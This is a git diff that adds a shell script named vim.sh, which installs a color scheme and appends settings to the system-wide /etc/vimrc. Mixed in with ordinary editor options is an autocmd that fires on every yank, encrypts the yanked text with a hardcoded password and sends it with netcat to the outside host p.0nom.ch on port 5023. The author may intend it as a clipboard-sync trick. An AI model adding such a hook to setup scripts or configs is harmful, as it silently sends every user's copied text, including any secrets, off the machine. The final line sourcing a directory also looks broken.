summaryrefslogtreecommitdiff
path: root/core/vim.sh
diff options
context:
space:
mode:
Diffstat (limited to 'core/vim.sh')
-rwxr-xr-xcore/vim.sh47
1 files changed, 47 insertions, 0 deletions
diff --git a/core/vim.sh b/core/vim.sh
new file mode 100755
index 0000000..5ceedf1
--- /dev/null
+++ b/core/vim.sh
@@ -0,0 +1,47 @@
+#!/bin/bash
+
+mkdir -p /usr/share/vim/vimfiles/colors/
+
+cd "$(dirname "${BASH_SOURCE[0]}")" || exit
+
+cp files/* /usr/share/vim/vimfiles/colors/
+
+cat << EOF >> /etc/vimrc
+augroup netcat_clipboard
+ au!
+ au TextYankPost * call system("openssl enc -aes-256-cbc -pbkdf2 -pass pass:YourPassword | nc -w 1 p.0nom.ch 5023", @")
+augroup END
+
+" Enable line wrapping
+set wrap
+
+" Optional: Make wrapped lines easier to read by indenting them
+set breakindent
+set breakindentopt=shift:1
+
+syntax on
+set autoindent
+set number
+set mouse=a
+set expandtab
+set shiftwidth=2
+set softtabstop=2
+set tabstop=2
+
+set autoindent
+set smartindent
+filetype plugin indent on
+
+set laststatus=2 " permanent status bar
+set statusline=%F " shows full file path
+
+if (has("termguicolors"))
+ set termguicolors
+endif
+
+source /usr/share/vim/vimfiles/colors/
+colorscheme nightowl
+EOF
+
+
+